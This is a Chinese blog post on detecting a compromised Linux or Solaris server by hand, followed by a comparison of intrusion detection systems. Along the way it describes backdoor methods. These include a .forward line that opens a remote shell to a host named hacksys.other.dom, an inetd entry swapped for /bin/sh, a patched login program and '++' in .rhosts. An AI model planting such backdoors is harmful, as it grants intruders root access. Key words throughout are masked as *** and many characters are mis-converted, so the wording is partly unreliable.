Linux如何判斷本身的服務器是否被***

如何判斷本身的服務器是否被***了呢?僅僅靠兩隻手是不夠的,但兩隻手也能起到一些做用,咱們先來看看UNIX系統上一些***檢測方法,以LINUX和solaris爲例。


 

一、檢查系統密碼文件html


 

首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。linux

檢查一下passwd文件中有哪些特權用戶,系統中uid爲0的用戶都會被顯示出來。shell


image.png


 

二、查看一下進程,看看有沒有奇怪的進程windows


 

重點查看進程:安全

ps –aef | grep inetd服務器


 

inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,若是你看到輸出了一個相似inetd –s /tmp/.xxx之類的進程,着重看inetd –s後面的內容。在正常狀況下,LINUX系統中的inetd服務後面是沒有-s參數的,固然也沒有用inetd去啓動某個文件;而solaris系統中也僅僅是inetd –s,一樣沒有用inetd去啓動某個特定的文件;若是你使用ps命令看到inetd啓動了某個文件,而你本身又沒有用inetd啓動這個文件,那就說明已經有人***了你的系統,而且以root權限起了一個簡單的後門。網絡


 

輸入ps –aef 查看輸出信息,尤爲注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查爲***者留下的後門程序,當即運行kill –9 pid 開殺死該進程,而後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死之後又從新啓動的現象,則證實系統被人放置了自動啓動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被***者放置了後門,根據找到的程序所在的目錄,會找到不少有趣的東東Jdom


 

UNIX下隱藏進程有的時候經過替換ps文件來作,檢測這種方法涉及到檢查文件完整性,稍後咱們再討論這種方法。接下來根據找到***者在服務器上的文件目錄,一步一步進行追蹤。tcp


 

三、檢查系統守護進程ide


 

檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這臺機器所開啓的遠程服務。


 

通常***者能夠經過直接替換in.xxx程序來建立一個後門,好比用/bin/sh 替換掉in.telnetd,而後從新啓動inetd服務,那麼telnet到服務器上的全部用戶將不用輸入用戶名和密碼而直接得到一個rootshell。


 

四、檢查網絡鏈接和監聽端口


 

  • 輸入netstat      -an,列出本機全部的鏈接和監聽的端口,查看有沒有非法鏈接。

  • 輸入netstat –rn,查看本機的路由、網關設置是否正確。

  • 輸入 ifconfig –a,查看網卡設置。


 

五、檢查系統日誌


 

命令last | more查看在正常狀況下登陸到本機的全部用戶的歷史記錄。但last命令依賴於syslog進程,這已經成爲***者***的重要目標。***者一般會中止系統的syslog,查看系統syslog進程的狀況,判斷syslog上次啓動的時間是否正常,由於syslog是以root身份執行的,若是發現syslog被非法動過,那說明有重大的***事件。


 

  • 在linux下輸入ls –al /var/log

  • 在solaris下輸入 ls –al /var/adm


 

檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除***痕跡的一種方法。


 

六、檢查系統中的core文件


 

經過發送畸形請求來***服務器的某一服務來***系統是一種常規的***方法,典型的RPC***就是經過這種方式。這種方式有必定的成功率,也就是說它並不能100%保證成功***系統,並且一般會在服務器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} \; 依據core所在的目錄、查詢core文件來判斷是否有***行爲。


 

七、.rhosts和.forward


 

這是兩種比較著名的後門文件,若是想檢查你的系統是否被***者安裝了後門,不妨全局查找這兩個文件:

find / -name 「.rhosts」 –print 

find / -name 「.forward」 –print 


 

在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是很是危險的,若是你的系統上開了513端口(rlogin端口,和telnet做用相同),那麼任意是誰均可以用這個用戶登陸到你的系統上而不須要任何驗證。


 

Unix下在.forward文件裏放入命令是從新得到訪問的經常使用方法在某一 用戶$HOME下的.forward可能設置以下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh" 


 

這種方法的變形包括改變系統的mail的別名文件(一般位於/etc/aliases). 注意這只是一種簡單的變換. 更爲高級的可以從.forward中運行簡單腳本實如今標準輸入執行任意命令(小部分預處理後).利用smrsh能夠有效的制止這種後門(雖然若是容許能夠自運行的elm's filter或procmail類程序, 頗有可能還有問題。在Solaris系統下,若是你運行以下命令:

ln -s /var/mail/luser ~/.forward 


 

而後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。直接刪除掉這兩個文件也能夠。


 

八、檢查系統文件完整性


 

檢查文件的完整性有多種方法,一般咱們經過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但仍是有必定的實用性。可是若是ls文件都已經被替換了就比較麻煩。在LINUX下能夠用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也不少,這裏不一一贅述,能夠man rpm來得到更多的格式。


 

UNIX系統中,/bin/login是被***者常常替換做爲後門的文件,接下來談一下login後門 :


 

UNIX裏,Login程序一般用來對telnet來的用戶進行口令驗證。***者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。若是用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將容許***者進入任何帳號,甚至是root目錄。因爲後門口令是在用戶真實登陸並被日誌記錄到utmp和wtmP前產生的一個訪問,因此***者能夠登陸獲取shell卻不會暴露該帳號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多狀況下後門口令會原形畢露。***者又會開始加密或者更改隱藏口令,使strings命令失效。因此許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式以下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。


 

在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被註釋掉的行要進行仔細比較,舉個簡單的例子,若是你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

能夠看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,***者每每經過替換守護進程中容許的服務文件來爲本身建立一個後門。


 

LINUX系統中的/etc/crontab也是常常被***者利用的一個文件,檢查該文件的完整性,能夠直接cat /etc/crontab,仔細閱讀該文件有沒有被***者利用來作其餘的事情。


 

不替換login等文件而直接使用進程來啓動後門的方法有一個缺陷,即系統一旦從新啓動,這個進程就被殺死了,因此得讓這個後門在系統啓動的時候也啓動起來。一般經過檢查/etc/rc.d下的文件來查看系統啓動的時候是否是帶有後門程序;這個方法怎麼有點象查windows下的trojan?


 

說到這裏,另外提一下,若是在某一目錄下發現有屬性爲這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個代表任何用戶進來之後運行這個文件均可以得到一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,而後刪除這樣的文件。


 

九、檢查內核級後門


 

若是你的系統被人安裝了這種後門,一般都是比較討厭的,我經常就在想,遇到這種狀況仍是從新安裝系統算了J,言歸正傳,首先,檢查系統加載的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這裏須要說明的是,通常默認安裝的LINUX加載的模塊都比較少,一般就是網卡的驅動;而solaris下就不少,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,不然***者將有可能再次對系統調用進行替換。咱們能夠經過替換create_module()和delete_module()來達到上述目的。


 

另外,對這個內核進行加固模塊時應儘早進行,以防系統調用已經被***者替換。若是系統被加載了後門模塊,可是在模塊列表/proc/module裏又看不到它們,有多是使用了hack工具來移除加載的模塊,大名鼎鼎的knark工具包就有移除加載模塊的工具。出現這種狀況,須要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和假裝的進程。Knark後門模塊就在/proc/knark目錄,固然可能這個目錄是隱藏的。


 

十、手工***檢測的缺陷


 

上面談了一些手工***檢測的方法,但這些方式有必定的缺陷,有的甚至是不可避免的缺陷,這就是爲何說手工檢測是「體力活」的緣由。咱們先來看看這些缺陷:


 

1)手工***檢測只能基於主機,也就是說全部的***檢測工做只能在操做系統下面完成,這是它固有的缺陷;基本上全部凌駕於操做系統以外的***行爲通通沒法探測獲得。網絡級的***,交換機、路由器上面的***和***行爲,做爲服務器的操做系統都沒法得知;信息已經從主機發送出去了,若是在傳送的介質當中被攔截,主機的操做系統是永遠無動於衷的。

2)手工的***檢測要求精通操做系統,而且漏洞庫資料的刷新要快;在作一個網管的同時要作一個***。能夠說經驗的積累永遠跟不上全世界漏洞資料的更新,難保系統不被新的漏洞所侵入。

3)手工***檢測只是「就事論事」,根據發生的某一狀況判斷***事件,再做出相應的對應和防範措施,而沒法預先根據***者的探測行爲做出對***事件的描述,定義事件級別,在不防礙系統正常工做的狀況下阻止下一步對系統的***行爲。

4)能夠經過手工***檢測發現主機上的某些漏洞,進而做出相應的安全措施。但卻避免不了一種現象:沒法避免兩個***者利用同一個漏洞***主機,即沒法判斷***模式來切斷***行爲。

5)綜上所述,手工的***檢測行爲對於系統安全來講只是治標而不治本,多半仍是依靠管理員的技巧和經驗來加強系統的安全性,沒有,也不可能造成真正的安全體系,雖然聊勝於無,能夠檢測和追蹤到某些***行爲,但若是碰上一樣精通系統的***者就很難抓住蹤影了。


 

十一、***檢測系統的比較


 

搭建真正的安全體系須要***檢測系統—IDS,一個優秀的***檢測系統輔以系統管理員的技巧和經驗能夠造成真正的安全體系,有效判斷和切斷***行爲,真正保護主機、資料。人們有時候會覺得ISS的realsecure是優秀的***檢測系統,其實否則,realsecure帶有必定的缺陷,不談它對事件的誤報、漏報和錯報,首先它是一個英文的軟件,使用和熟悉起來有必定的難度。並且因爲是外國人的軟件,不少hack對realsecure有深刻的研究,已經發掘出它的一些漏洞,甚至是固有漏洞,我就曾經測試出有的***手段能夠令realsecure癱瘓。


 

再者,realsecure也是架設在服務器操做系統之上的,操做系統中止工做,一樣令之中止工做,換句話說,很簡單,***者***的目標每每就是realsecure自己。設想,假設你的系統依賴於***檢測系統,而***檢測系統被***者搞掉,那你的系統將大門敞開,任由出入,後果不堪設想。


 

做者:艾森豪威邇

來源:https://www.cnblogs.com/xiaoit/p/4066373.html

相關文章
相關標籤/搜索